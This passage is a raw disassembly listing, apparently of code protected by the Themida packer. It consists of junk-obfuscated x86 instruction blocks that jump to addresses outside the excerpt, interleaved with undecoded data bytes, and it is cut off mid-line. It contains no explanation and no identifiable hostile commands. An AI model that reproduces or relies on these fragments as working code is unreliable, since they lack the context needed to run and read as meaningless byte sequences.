edi jmp loc_557569 ; --------------------------------------------------------------------------- align 2 dw 5BFCh dd 48BE328h, 66E95724h, 57FFFF6Ch, 3E3634BFh, 547FE95Fh dd 0EC81FFFFh, 4, 0FFCBBFE9h, 0E017E9FFh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56508E: ; CODE XREF: Themida_:00568735j add ebx, 4 xchg ebx, [esp] pop esp add dword ptr [esp+4], 1CF666E5h sub [esp+4], ecx push eax mov eax, 1CF666E5h sub [esp+8], eax pop eax mov ecx, [esp] add esp, 4 jmp loc_5540A2 ; --------------------------------------------------------------------------- db 81h dd 0FC7262C2h, 7CB9516Dh, 5736C71Ah, 0B37FD7BFh, 0C1D7F73Ah dd 0E95302EFh, 0FFFFA2AAh, 0E903E0C1h, 0FFFF6CD3h, 240C8B66h dd 8904EC83h, 0FF54241Ch, 535B2434h, 0CCE9E389h, 35FFFFF6h dd 7EB8EEECh, 8158C189h, 295A25C3h, 0E9CB0129h, 0FFFEFF86h dd 875DE801h, 24E92404h, 53FFFF2Ah, 505F8EBBh, 0E9D9892Ch dd 0FFFFB6D6h, 4BDh, 0E9E80100h, 0FFFEE1B6h, 0B8240489h dd 4, 4246C81h, 4053192Ch, 4244401h, 4244481h, 4053192Ch dd 54575F58h, 4C7815Fh, 81000000h, 4EFh, 243C8700h, 2434895Ch dd 468h, 0C7815E00h, 5F7636EDh, 0D6E9F701h, 29FFFF2Eh dd 242C8BEBh, 0E904C483h, 23AFh, 0C2E951ACh db 96h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565187: ; CODE XREF: Themida_:0055650Dj sub edi, 0F3C90002h sub edx, 40871B8Fh add edx, edi jmp loc_562892 ; --------------------------------------------------------------------------- loc_56519A: ; CODE XREF: Themida_:0055E4BDj pop edx add edx, 4 add edx, 2 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp push 1088h jmp loc_559984 ; --------------------------------------------------------------------------- loc_5651B8: ; CODE XREF: Themida_:00555605j sub edi, 66FB4BD5h sub edi, ebp add edi, 66FB4BD5h mov ebp, [esp] add esp, 4 pop esi add edi, 4 xchg edi, [esp] mov esp, [esp] push dword ptr [edi+eax*4] push dword ptr [esp] push dword ptr [esp] pop eax jmp loc_56556F ; --------------------------------------------------------------------------- db 0F7h dd 0E95B2414h, 0FFFEFD0Ah, 240C8B66h, 2C8B5455h, 4C48124h dd 81000000h, 4C5h, 2BB5300h, 68000000h, 4312h, 0B8240489h dd 74E11B2h, 0FFC3FFE9h, 95F180FFh, 0E9C9FEh db 8Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56522B: ; CODE XREF: Themida_:00555D41j dec ebx xor ebx, 66EE43DDh shr ebx, 2 sub ebx, 3F93F09h push edx mov edx, 63BB3387h sub edx, 243F0690h or edx, 42404044h add edx, 0C7A62AFBh add ebx, edx pop edx add edi, ebx jmp loc_5545BE ; --------------------------------------------------------------------------- loc_56525D: ; CODE XREF: Themida_:00558044j and edx, 347A6827h push 2152h mov [esp], esi mov esi, 2C39772Eh jmp loc_556A11 ; --------------------------------------------------------------------------- loc_565275: ; CODE XREF: Themida_:00561975j mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 jmp loc_55DA97 ; --------------------------------------------------------------------------- db 68h dd 6839h, 0B0240489h, 0E9D8F68Fh, 0FFFEF148h, 54ED8145h dd 89C1A8D9h, 0C6815DEEh, 149A4FC3h, 1A8CE9h, 4EC8100h dd 89000000h, 12BE2434h, 0BA03F01Bh, 0B3E3D96h, 0E95EF231h dd 0FFFF2DEBh ; --------------------------------------------------------------------------- loc_5652C8: ; CODE XREF: Themida_:0055487Dj push ecx push edx jmp loc_5598C5 ; --------------------------------------------------------------------------- db 81h dd 0CF7CD8EEh, 0F6814E05h, 3462A593h, 7021372Dh, 0E9F00177h dd 0FFFEE97Bh ; --------------------------------------------------------------------------- loc_5652E8: ; CODE XREF: Themida_:00558358j mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], edi sub esp, 4 mov [esp], ebx mov ebx, 7123773Bh jmp loc_558C00 ; --------------------------------------------------------------------------- loc_56530E: ; CODE XREF: Themida_:0055A6A9j pop ebx and ecx, ebp jmp loc_55CD4D ; --------------------------------------------------------------------------- dw 815Dh dd 3F247DEDh, 0E9E8890Dh, 0FFFFD942h ; --------------------------------------------------------------------------- loc_565324: ; CODE XREF: Themida_:00555EB1j push ebp mov ebp, 5CF85F46h xor ebp, 0F8EFB842h add ebx, ebp pop ebp jmp loc_56817E ; --------------------------------------------------------------------------- loc_565338: ; CODE XREF: Themida_:00553421j mov edx, [esp] add esp, 4 jmp loc_566803 ; --------------------------------------------------------------------------- dw 3489h dd 81E68924h, 4C6h, 4C68300h, 5C243487h, 83242C8Bh, 0D03104C4h dd 6EE0E95Ah, 0EA00FFFFh, 53240C8Bh, 0BA525B54h, 25700264h dd 0FF5D37E9h db 0FFh ; --------------------------------------------------------------------------- loc_565379: ; CODE XREF: Themida_:0055F940j sub edx, ecx xchg edx, ecx mov edx, [esp] add esp, 4 xor ecx, 316BC722h mov edx, ecx pop ecx add esi, edx push dword ptr [esp] jmp loc_5600BC ; --------------------------------------------------------------------------- dw 0B951h dd 64D96F53h, 0FF76EFE9h, 0C3C281FFh, 1DFA98Eh, 24148BD6h dd 0FF3B29E9h, 58C689FFh, 8247401h, 0FF83C3E9h, 4C683FFh dd 860E9h db 0 ; --------------------------------------------------------------------------- loc_5653C5: ; CODE XREF: Themida_:00560AD0j xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_558911 ; --------------------------------------------------------------------------- loc_5653D3: ; CODE XREF: Themida_:00554885j xor edx, [esp] pop esp mov ecx, [esp] push edi push esp push dword ptr [esp] pop edi push ecx jmp loc_5680B4 ; --------------------------------------------------------------------------- loc_5653E6: ; CODE XREF: Themida_:00564444j push esi mov esi, esp push ebp push edi mov edi, 62A36F60h mov ebp, 62A36F64h xor ebp, edi pop edi add esi, ebp pop ebp push ebp push ebx push ebp mov ebp, 3CA640FFh push ebp sub dword ptr [esp], 75637515h pop ebx add ebx, 75637515h jmp loc_55879E ; --------------------------------------------------------------------------- db 52h dd 0B276A3BAh, 0ACA815Fh, 0C1158540h, 0F28107E2h, 0F66064CFh dd 0E95AD589h, 0FFFFE1D6h ; --------------------------------------------------------------------------- loc_565434: ; CODE XREF: Themida_:0055406Cj mov ebx, 7E741A2Ah sub ebp, ebx pop ebx push esi mov esi, 4980420Bh or ebp, esi push dword ptr [esp] pop esi jmp loc_567B73 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 0E9000000h, 0FFFFB23Fh, 685BDA01h, 7CB8h, 51242C89h dd 4A4FC2B9h, 81D1F764h, 0FFFFFFE9h, 0EC8350FFh, 0BB00E904h dd 248BFFFFh, 0F8E95324h, 4FFFEEEh, 240C8B7Bh, 0FF04C483h dd 835B2434h, 0E95304C4h, 0FFFFD113h, 4B951h, 0CA890000h dd 0FFF6CFE9h, 0C4815DFFh, 4, 2C413566h, 15BA6652h, 0EA816623h dd 1CE937FBh, 31FFFEE1h, 3C33243Ch, 8FE95C24h db 63h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5654CB: ; CODE XREF: Themida_:0055D8B4j push ebp jmp loc_55B570 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 68000000h, 281Fh, 0FFF6C6E9h db 0FFh ; --------------------------------------------------------------------------- loc_5654E1: ; CODE XREF: Themida_:00553770j add eax, 4ED553A0h add eax, esi sub eax, 4ED553A0h jmp loc_55454F ; --------------------------------------------------------------------------- dw 0BA52h dd 2723127Eh, 29A3C281h, 0D3014BE0h, 1C87585Ah, 24248B24h dd 9C2424D3h, 0FEDB94E9h, 24148BFFh, 4C481h, 91E90000h db 0BCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56551F: ; CODE XREF: Themida_:00555756j sub ebx, 4 jmp loc_55FD9D ; --------------------------------------------------------------------------- loc_565527: ; CODE XREF: Themida_:005628E7j pop esp jmp loc_55EFAB ; --------------------------------------------------------------------------- db 81h, 0C5h, 50h dd 109463Ch, 5D04246Ch, 0E92434FFh, 0FFFEEF0Ah ; --------------------------------------------------------------------------- loc_565540: ; CODE XREF: Themida_:0055D172j push edi mov edi, 138550F8h mov edx, 0FD8A032Ah add edx, edi jmp loc_55D154 ; --------------------------------------------------------------------------- dw 0F131h dd 8BCD015Eh, 0C481240Ch, 4, 0FF1CD0E9h, 129E68FFh, 0E1E90000h db 80h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56556F: ; CODE XREF: Themida_:005651E6j push ebx push esp pop ebx sub esp, 4 mov [esp], esi mov esi, 59ED5BF9h neg esi shr esi, 7 inc esi neg esi shl esi, 8 add esi, 4C254904h add ebx, esi pop esi add ebx, 4 xchg ebx, [esp] pop esp push 27Ah mov [esp], edi jmp loc_568567 ; --------------------------------------------------------------------------- db 8Bh, 34h, 24h dd 4C481h, 0C3310000h, 0EEE930FFh, 59FFFEDAh, 5C241487h dd 4BE56h, 0F0010000h, 2404875Eh, 2434FF5Ch, 8324148Bh dd 0EC8104C4h, 4, 244EE9h, 67CD8100h, 0F724506Dh, 20F581DDh dd 8158D400h, 50C76CF5h, 5DEE3195h, 0A6E4C681h, 0A7E9E3F0h db 74h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5655FF: ; CODE XREF: Themida_:0055B44Ej xchg ebp, [esp] jmp loc_55F39A ; --------------------------------------------------------------------------- db 5Ch dd 53241489h, 694ED7BBh, 8CB6BA19h, 0DA29460Dh, 5AD7295Bh dd 479568h, 242C8900h, 26173FBDh, 36C7816Ah, 297A247Bh dd 0F5A9E9EFh, 0C89FFFEh, 4EC8124h, 89000000h, 0EAB62414h dd 0FF2B41E9h db 0FFh ; --------------------------------------------------------------------------- loc_565649: ; CODE XREF: Themida_:0056298Dj not esi xor esi, 7144EF8h sub esi, 5073AA2h sub esi, 67EECA24h sub edx, esi jmp loc_554B5D ; --------------------------------------------------------------------------- dd 0FEDA3CE9h, 2434FFFFh, 829FE959h, 0F581FFFFh, 8EB4F8F2h dd 218E6851h, 0E9590566h, 916h, 21E26866h, 24148966h, 0FFEA7CE9h db 0FFh ; --------------------------------------------------------------------------- loc_565691: ; CODE XREF: Themida_:005665EDj mov ebx, 60DF2FEFh mov esi, ebx jmp loc_55FDDB ; --------------------------------------------------------------------------- db 55h, 0E9h, 6Fh dd 5AFFFF66h, 35C4C281h, 89512BC0h, 4EC81D1h, 89000000h dd 595B240Ch, 240C8B5Ah, 0FF4766E9h, 24348BFFh, 8104C483h dd 0BD7FADEDh, 7FE91Fh, 34FF0000h, 241C8B24h, 81E28952h dd 4C2h, 98BD5500h, 81624F05h, 4F059CF5h, 5DEA0162h, 5C241487h dd 4C481h, 0A6E90000h, 1FFFED9h, 0C3E92404h db 0D8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565707: ; CODE XREF: Themida_:00562FC5j push dword ptr [esp] mov edx, [esp] jmp loc_55F013 ; --------------------------------------------------------------------------- dw 368h dd 54000068h, 6824048Fh, 653Dh, 0E9240C89h, 0FFFF192Fh ; --------------------------------------------------------------------------- loc_565728: ; CODE XREF: Themida_:0055BE38j not al jmp loc_5586A0 ; --------------------------------------------------------------------------- db 0BAh dd 100A6440h, 0B95AD589h, 678BD574h, 0E95DE929h, 0FFFFCE87h dd 1A78C681h, 0FE2950F7h, 0FF4E73E9h, 0FFE829FFh, 815D2434h dd 4C4h, 24048700h, 489665Ch, 0D93BE924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56576A: ; CODE XREF: Themida_:0055F764j pop edi jmp loc_55BCC2 ; --------------------------------------------------------------------------- loc_565770: ; CODE XREF: Themida_:00560C43j pop ebp add edx, ebx pop ebx push ebp mov ebp, 62411B6Fh add edx, ebp mov ebp, [esp] add esp, 4 sub edx, ebp push ebp mov ebp, 62411B6Fh jmp loc_55C3E4 ; --------------------------------------------------------------------------- loc_565792: ; CODE XREF: Themida_:00564C9Cj xchg ebp, [esp] pop esp push esi jmp loc_558B6C ; --------------------------------------------------------------------------- dd 0FEEAC480h, 80C4FEC4h, 0D7E90EC4h, 8BFFFFDBh, 89512414h dd 4C181E1h, 83000000h, 35E904C1h, 33FFFF6Fh, 0C31240Ch dd 240C3324h, 0E924248Bh, 0FFFF8435h ; --------------------------------------------------------------------------- loc_5657D0: ; CODE XREF: Themida_:00561D22j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp add ecx, 4 sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov [esp], edx push ecx push 756C194Eh jmp loc_55A3F8 ; --------------------------------------------------------------------------- db 80h, 0F3h, 0B2h dd 0E902E3C0h, 0FFFF94D6h, 4EC815Ah, 89000000h, 0DC68242Ch dd 54000059h, 0E924048Fh, 0FFFF325Bh, 5BD80059h, 0D828F604h dd 81E9F62Ch, 81FFFFA4h, 4C2h, 4C28300h, 31241433h, 14332414h dd 0C5685C24h, 8900000Eh, 5D68240Ch, 5959BFC2h, 8FE9C801h dd 68FFFF98h, 3042h, 0E9240489h, 0FFFF47B0h, 60DAF581h dd 0EE893C8Dh, 1E3AE9h, 590400h, 0C0B151D8h, 0F6C0F180h dd 0DDD4E9D1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56588A: ; CODE XREF: Themida_:0055E844j add ecx, 0FB183017h sub eax, ecx pop ecx add eax, ecx add eax, 240734A1h pop ecx push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp or eax, eax jmp loc_563584 ; --------------------------------------------------------------------------- loc_5658AC: ; CODE XREF: Themida_:0055E51Aj add esp, 4 push dword ptr [esp] pop ecx push ebx jmp loc_555A62 ; --------------------------------------------------------------------------- db 0F6h, 0D5h, 0C0h dd 2DE905E5h, 68FFFF99h, 3E3Fh, 0E9241489h, 0FFFF0D4Bh dd 0B9E9CE01h, 83FFFF94h, 136804C4h, 89000054h, 0EC812434h dd 4, 0BA241489h, 2F90632Eh, 18BCB850h, 0EA81387Bh, 3AD6530Ah dd 31CDE9h, 0B8E95300h, 0BAFFFEDCh, 1C62489Ah, 0CFE9D701h db 3Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565913: ; CODE XREF: Themida_:0055AEF9j mov [esp], eax mov eax, esp jmp loc_55C6FC ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 5A2F7205h, 76940577h, 0ACE93AFDh, 33FFFFE0h, 14312414h dd 14ACE924h, 0E9810000h, 4C841CCDh, 0C181D901h, 4C841CCDh dd 0FF5FD2E9h, 81E789FFh, 4C7h, 0E2DE900h, 0C15AFFFFh dd 12E908E9h, 0C1FFFF58h, 7F3507E0h, 16613ABh, 15A58C6h dd 0C4E95EF7h db 54h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565977: ; CODE XREF: Themida_:0055EB47j and ebp, 75492A94h add ebp, 0D273BC6h not ebp jmp loc_5633CC ; --------------------------------------------------------------------------- loc_56598A: ; CODE XREF: Themida_:0056211Cj shl ebx, 2 shl ebx, 1 push edi jmp loc_568C1C ; --------------------------------------------------------------------------- loc_565995: ; CODE XREF: Themida_:00557373j add ebp, 4 add ebp, 4 jmp loc_561C7B ; --------------------------------------------------------------------------- dw 8B9h dd 523A2D75h, 0DA69E2BAh, 7885E931h, 0E95CFFFFh, 0FFFF8C4Ah dd 0D1C58145h, 5648DB5Dh, 3427BEBEh, 8BF5295Bh, 0CFE92434h db 1Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5659D3: ; CODE XREF: Themida_:00555783j pop ebp add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp jmp loc_559C90 ; --------------------------------------------------------------------------- dw 0EE81h dd 0E5291F92h, 815EF109h, 0C596DCE9h, 8DEE810Eh, 29136626h dd 8DC681CEh, 8B136626h, 0C481240Ch, 4, 0E95EF789h, 0FFFF0BFCh dd 4491BD55h, 0EB01FB79h, 0E9DA015Dh, 0C57h ; --------------------------------------------------------------------------- loc_565A24: ; CODE XREF: Themida_:00565F95j add eax, edx push dword ptr [esp] jmp loc_560F6C ; --------------------------------------------------------------------------- loc_565A2E: ; CODE XREF: Themida_:00553E15j push ebx mov ebx, 2FD373CEh add ebx, 0D02C8C36h add edx, ebx pop ebx jmp loc_567F1F ; --------------------------------------------------------------------------- dw 0DD01h dd 62A5BB53h, 49E95FE6h, 8FFFFFCEh, 0D64FE902h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_565A56: ; CODE XREF: Themida_:00564EBDj mov edx, [esp] add esp, 4 add esp, 4 push 3679h mov [esp], ebx jmp loc_55F521 ; --------------------------------------------------------------------------- loc_565A6F: ; CODE XREF: Themida_:0055E1B0j add ebp, 4 jmp loc_55D9A4 ; --------------------------------------------------------------------------- db 89h dd 0F5B1E9D8h, 8953FFFEh, 4C381E3h, 83000000h, 1C8704C3h dd 0EA75E924h, 0EE9FFFFh, 31FFFED6h, 2D58243Ch, 1E6C27F1h dd 211BBD35h, 86BA5226h, 42253B6Dh, 0FF852EE9h, 0E2E95BFFh dd 29FFFF7Eh, 0D5FCE9CAh, 0C381FFFEh, 0FFFFFFFFh, 0CEC381h dd 0D9899937h, 0C448E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565AD2: ; CODE XREF: Themida_:00555F33j xchg ecx, [esp] pop esp jmp loc_557C14 ; --------------------------------------------------------------------------- loc_565ADB: ; CODE XREF: Themida_:0055A7EEj sub eax, 0FFFFFFFFh sub eax, 0C961088h jmp loc_556B79 ; --------------------------------------------------------------------------- dd 5B39EE80h, 0B7535266h, 1AF780C8h, 0E988C780h, 0FFFFB97Eh ; --------------------------------------------------------------------------- loc_565AFC: ; CODE XREF: Themida_:0055D88Ej mov ecx, 7BD1B79h add ecx, 2FCD1307h jmp loc_556705 ; --------------------------------------------------------------------------- dd 0F84715BDh, 69B85050h, 0E95FFF50h, 0FFFF8B3Dh, 9EEE815Bh dd 2939AB6Ch, 0D067E9F3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565B2A: ; CODE XREF: Themida_:00567F3Fj push esi push eax mov eax, 3C5E3B26h sub eax, 1D27C05h add eax, 0FFFFFFFFh xor eax, 727FCDA5h mov esi, eax pop eax jmp loc_5617B8 ; --------------------------------------------------------------------------- dd 0FED558E9h, 81E389FFh, 4C3h, 4C38100h, 0E9000000h, 0FFFEFB21h dd 0E9240489h, 0FFFF9BEBh, 0E92434FFh, 0FFFF9747h, 4EC81h dd 14890000h, 94B85024h, 8926C13Fh, 24048BC2h, 0FF3782E9h dd 0FFFA89FFh, 835F2434h, 0D70104C4h, 8324148Bh, 0E95704C4h dd 0FFFFDBBEh, 5424248Bh, 5624048Fh, 0D95E3FBEh, 0F717E908h dd 0E955FFFEh, 0FFFF4118h ; --------------------------------------------------------------------------- loc_565BB8: ; CODE XREF: Themida_:0056732Fj push 51DAh jmp loc_568D6D ; --------------------------------------------------------------------------- loc_565BC2: ; CODE XREF: Themida_:0055A1C1j add esi, edi mov edi, [esp] jmp loc_55B395 ; --------------------------------------------------------------------------- dd 0E3895359h, 0FF7D6BE9h, 1EE95AFFh, 5FFFFF70h, 4246C01h dd 2451BB53h, 0C2E95D95h db 1, 2 dup(0) ; --------------------------------------------------------------------------- loc_565BEB: ; CODE XREF: Themida_:0055E438j add eax, 4 push ebx jmp loc_561E61 ; --------------------------------------------------------------------------- dw 815Dh dd 0E400AC1h db 38h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_55B484 ; --------------------------------------------------------------------------- loc_565C0B: ; CODE XREF: Themida_:005611FBj mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_5649FA ; --------------------------------------------------------------------------- db 66h dd 9C2404D3h, 0FFFE6DE9h, 74FF56FFh, 34FF0424h, 0E9525E24h dd 0FFFF72FFh ; --------------------------------------------------------------------------- loc_565C34: ; CODE XREF: Themida_:005548F1j pop esi push dword ptr [ebx] push dword ptr [esp] pop eax add esp, 4 push dword ptr [esp] pop ebx push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push dword ptr [edi+eax*4] mov eax, [esp] sub esp, 4 jmp loc_567D01 ; --------------------------------------------------------------------------- db 0B8h, 3, 8 dd 822D2318h, 0E91A5420h, 0FFFFD476h, 0B7584668h, 51555A38h dd 0FF49F0E9h, 4B9FFh, 0BB530000h, 7ADB46AEh, 8245C01h dd 244C015Bh, 9B03E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565C9E: ; CODE XREF: Themida_:0055EC18j add eax, 12E574DBh push 5D87h jmp loc_55E9E8 ; --------------------------------------------------------------------------- db 5Ah, 83h, 0C4h dd 9BBA5204h, 0C15F154Ch, 2AE908E2h, 40FFFF66h, 47A4BC35h dd 0E9C231BCh, 0FFFF6F59h, 0B7536651h, 885052BEh, 58C688F8h dd 4EC81h, 4890000h, 0F3885324h, 0FFC6E0E9h, 0C8B66FFh dd 4EC8124h, 89000000h, 0AFE92414h, 89FFFFCBh, 405E0h dd 0BD550000h, 4, 51B805h, 57E80173h, 0FEF623E9h, 4A5025FFh dd 0FF502DC8h, 558240Ch, 3D6F02E3h, 738A9BDh, 74ED8177h dd 0E946556Ah, 10E0h ; --------------------------------------------------------------------------- loc_565D34: ; CODE XREF: Themida_:0055E701j mov ebx, [esp] add esp, 4 mov edx, [esp] add esp, 4 jmp loc_55756F ; --------------------------------------------------------------------------- dd 6CD76856h, 815E08DCh, 543270F6h, 0FFC6816Bh, 81FFFFFFh dd 77A15CC6h, 8BF0899Ch, 0C4812434h, 4, 0F1BB5355h, 891C075Ch dd 2FFE9DDh, 0D15B0000h, 4ED6F7EEh, 4105684Eh, 0C890000h dd 63AAB924h, 0C18170BEh, 11E43A2Ah, 8104E1C1h, 0AD1A4DC9h dd 84B8507Fh, 0D519C7Bh, 23967E0Ah, 0FF671EE9h, 245C29FFh dd 2C8B5B08h, 9A9DE924h, 0C87FFFFh, 3AE95C24h, 56FFFF44h dd 0FFFFFFBEh, 5EF029FFh, 0FFBD1DE9h, 4C483FFh, 574F2D5Bh dd 0D8296123h, 2C76BE56h, 0FFE9138Fh, 52FFFFA5h, 0E32A7BAh dd 3FB8E939h, 1489FFFFh, 53E28924h, 4BBh, 0D8EA8100h, 176A63Dh dd 0D8C281DAh, 5B76A63Dh, 4BD55h, 0EA010000h, 74FF525Dh dd 8F5A0424h, 565C2404h, 8904EC83h, 4832424h, 0E95E0424h dd 0FFFF7714h, 8AE9F509h db 0F8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565E37: ; CODE XREF: Themida_:0055BF81j mov [esp], ecx push edx push ecx mov cl, 4Ah add cl, 56h shr cl, 5 xor cl, 0DEh mov dl, cl pop ecx mov ch, 5Eh add ch, dl pop edx sub ch, 0F3h shr ch, 5 jmp loc_564371 ; --------------------------------------------------------------------------- loc_565E5A: ; CODE XREF: Themida_:0055B18Dj push eax push esi mov esi, 17AA1E7Ah mov eax, 7180260Bh sub eax, esi mov esi, [esp] add esp, 4 push 2F11h jmp loc_5643D7 ; --------------------------------------------------------------------------- loc_565E7B: ; CODE XREF: Themida_:0055750Dj mov ebp, 0D8CDBC16h add ebp, edi pop edi or esi, ebp pop ebp sub esi, 37407D72h sub esi, 4F7E079Bh sub esp, 4 mov [esp], ebp mov ebp, 550858ADh jmp loc_563672 ; --------------------------------------------------------------------------- dw 0EFC1h dd 35FCE904h, 74FFFFFFh, 8F5B0424h, 55C2404h, 4, 0FFB722E9h dd 0F65266FFh, 8B662414h, 0C4812414h, 2, 0E941F280h, 0FFFF5787h dd 0C3815B54h, 4, 0FF28DBE9h, 243489FFh, 0A9E9E689h, 68FFFED4h dd 3B2Ah, 56242489h, 4BEh, 246C8100h, 0F518B404h, 1385E979h dd 0AD68FFFFh, 89000055h, 0E5BA2414h, 0E92A4615h, 0B16h ; --------------------------------------------------------------------------- loc_565F18: ; CODE XREF: Themida_:0055C216j pop eax add esi, 2 push esi push dword ptr [esp+4] jmp loc_554C15 ; --------------------------------------------------------------------------- loc_565F29: ; CODE XREF: Themida_:005538F8j push ebx mov ebx, 0E6BB1529h mov edi, ebx mov ebx, [esp] add esp, 4 add edi, 8DC38C2h jmp loc_561FC1 ; --------------------------------------------------------------------------- loc_565F45: ; CODE XREF: Themida_:00561C81j add esi, ebp add esi, 6A902065h pop ebp sub esp, 4 mov [esp], esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 jmp loc_55C94E ; --------------------------------------------------------------------------- loc_565F69: ; CODE XREF: Themida_:00560B9Aj push edx mov edx, 60E94030h xor ebx, edx pop edx push esi mov esi, 7F423A3Dh and esi, 7CC31358h xor esi, 0DBB2A71h jmp loc_5604D1 ; --------------------------------------------------------------------------- loc_565F89: ; CODE XREF: Themida_:005633D2j sub edx, ebp pop ebp shl edx, 6 sub edx, 7C7CAEBEh jmp loc_565A24 ; --------------------------------------------------------------------------- dw 0C829h dd 0E9E80159h, 0FFFF7D11h ; --------------------------------------------------------------------------- loc_565FA4: ; CODE XREF: Themida_:00564CEBj xor esi, [esp] jmp loc_5552C0 ; --------------------------------------------------------------------------- dd 0FF2434FFh, 68582434h, 14FBh, 89240C89h, 4C181E1h, 0E9000000h dd 0FFFF67C8h, 0BCB3535Ah, 0FFF834E9h db 0FFh ; --------------------------------------------------------------------------- loc_565FD1: ; CODE XREF: Themida_:0055C6DAj push eax pop ecx mov eax, [esp] add esp, 4 add [esp+4], ecx mov ecx, [esp] add esp, 4 pop ebx sub ebx, 6D14577Fh jmp loc_5530A5 ; --------------------------------------------------------------------------- db 54h, 0FFh, 34h dd 240C8B24h, 8104C483h, 4C4h, 4C18100h, 81000000h, 4ECh dd 24148900h, 0FF80BCE9h, 48922DFFh, 685B6CB1h, 4B25h dd 51241489h, 957E17B9h, 1BF5703h, 29000000h, 0E037E9F9h dd 90BAFFFEh, 0D1305217h, 49C281E2h, 555BCC5Eh, 947B7FBDh dd 5DEA295Dh, 17E9D629h, 66FFFF2Fh, 30EAC581h, 0FFED8166h dd 0F5016675h, 0FFC58166h, 0ED816675h, 816630EAh, 5E19AEEDh dd 0FF02C2E9h, 0C14D5BFFh, 0CEE906EDh db 15h, 2 dup(0) ; --------------------------------------------------------------------------- loc_566083: ; CODE XREF: Themida_:00554A58j add esp, 4 xor ebx, 75B7341Ch add ebx, 6F561446h add ebx, 0BA220823h mov edi, ebx jmp loc_562DCA ; --------------------------------------------------------------------------- dw 0D601h dd 1EA5B951h, 0D1F73C49h, 0FEDCB9E9h, 241C8BFFh, 0C64E9h dd 31665D00h, 0DB16E9D0h, 0B868FFFEh, 0E9000043h, 0FFFFBD4Ch dd 8124048Bh, 4C4h, 674B6800h, 3C890000h, 30556824h, 565F3AB0h dd 5A1709BEh, 4CC7E945h, 0C481FFFFh, 4, 699FF281h, 0D029271Fh dd 0FE3EE95Ah, 0C381FFFEh, 0CE76BFB4h, 2BF8C181h, 90E90025h dd 0C1FFFFB7h, 0F58105E5h, 0D5F2AF64h, 2C8BEA89h, 4C48124h dd 1000000h, 0EC815AD7h, 4, 0FFE8DFE9h, 6FE952FFh, 92FFFFA1h dd 2F2EE957h, 685CFFFFh, 6CD6h, 0FEEE31E9h db 0FFh ; --------------------------------------------------------------------------- loc_56614D: ; CODE XREF: Themida_:005534FAj mov [esp], edi mov edi, 4FFE1271h push ebx mov ebx, 243406C2h jmp loc_55BC4D ; --------------------------------------------------------------------------- dd 391BCABFh, 0F7DFF75Ah, 0EC781DFh, 506ED820h, 0FF13ECB8h dd 8BC7318Ch, 0C4812404h, 4, 295FF801h, 45E953D8h db 28h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56618B: ; CODE XREF: Themida_:0055549Ej mov edi, esp jmp loc_566657 ; --------------------------------------------------------------------------- dw 0C389h dd 0E1E8E958h, 248BFFFEh, 232FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5661A2: ; CODE XREF: Themida_:005612E7j add ebp, ebx pop ebx pop edi mov edx, ebp pop ebp sub [edi+24h], edx push dword ptr [esp] jmp loc_56262E ; --------------------------------------------------------------------------- dd 148BD131h, 4C48124h, 0E9000000h, 473h, 1FD0C381h, 0EB812A3Dh dd 0A99556BAh, 2C23BE56h, 0E6C10F28h, 41C68104h, 818BD77Dh dd 1F4067C2h, 60BE563Fh, 29715369h, 0F2295EF2h, 6960C281h dd 0EA817153h, 3F1F4067h, 7BC2815Eh, 1634F1Eh, 0D7BEE9DAh dd 0D0F6FFFFh, 5058C588h, 0B4CFB151h, 8BCC28E5h, 0C481240Ch dd 4, 28FCC580h, 0FCED80E5h, 5124048Bh, 0C181E189h, 4 dd 4C181h, 52E90000h, 0B800001Bh, 4, 5358C301h, 0FFFC5DE9h db 0FFh ; --------------------------------------------------------------------------- loc_56624D: ; CODE XREF: Themida_:0055F092j push eax jmp loc_5611EF ; --------------------------------------------------------------------------- db 0C1h dd 0F38108EBh, 79366ADDh, 0FF72F0E9h, 242489FFh, 4240483h dd 0FF84DCE9h, 9EC681FFh, 0E993A149h, 0FFFF3C10h, 0C7F3815Dh dd 43449911h, 0E904EC83h, 0FFFED6B9h, 58C78966h, 8124148Bh dd 4C4h, 0C7816600h, 53E91B7Dh, 81FFFFA8h, 4C4h, 1C18000h dd 97B45066h, 8B66E128h, 16E92404h, 68FFFF10h, 4FF1h, 56241C89h dd 182670BEh, 84E95641h, 0B6FFFF5Ch, 2783E98Ch, 57ADFFFFh dd 0FF316AE9h, 8DC281FFh, 0E91D9C1Ah, 0FFFED7AAh, 1D04AB2Ch dd 0FFC522E9h, 0ED4B05FFh, 